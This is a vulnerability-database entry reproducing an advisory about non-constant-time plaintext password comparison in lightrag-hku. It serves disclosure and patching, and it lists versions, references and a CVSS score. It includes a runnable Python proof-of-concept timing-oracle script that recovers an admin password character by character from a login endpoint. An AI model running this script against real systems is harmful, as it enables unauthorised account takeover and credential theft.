lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function
Summary
When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.
Details
# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
if stored_password.startswith("{bcrypt}"):
...
return bcrypt.checkpw(...) # constant-time OK
return stored_password == plain_password # NOT constant-time VULN
# Python == short-circuits on first mismatched byte
# Timing leaks: password length + individual characters
PoC
# Timing oracle: recover password char-by-char
import httpx, time, string
TARGET = "http://<TARGET>:9621/login"
USER = "admin"
def measure(pwd: str) -> float:
t = time.perf_counter()
httpx.post(TARGET, data={"username": USER, "password": pwd})
return time.perf_counter() - t
known = ""
for _ in range(32):
best = max(string.printable,
key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
known += best
print(f"Recovered: {known}")
Impact
Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | lightrag-hku | < 1.5.5 | 1.5.5 |
References
- https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq
- https://nvd.nist.gov/vuln/detail/CVE-2026-85725
- https://github.com/HKUDS/LightRAG/pull/3423
- https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c
- https://github.com/HKUDS/LightRAG
- https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5
- https://pypi.org/project/lightrag-hku
- https://github.com/advisories/GHSA-c759-cx9p-mrwq
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-208- Platform
- Python (PyPI)
- Package
lightrag-hku- Disclosed
- 22.09.2026
- Updated
- 11.10.2026 15:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-4061 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-c759-cx9p-mrwq - CC BY 4.0
Vulnerability history: lightrag-hku
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 10
- First → latest
- 06.2025 09.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 2
- Medium 5
Disclosures per year
- 2025: 1
- 2026: 9
-
lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.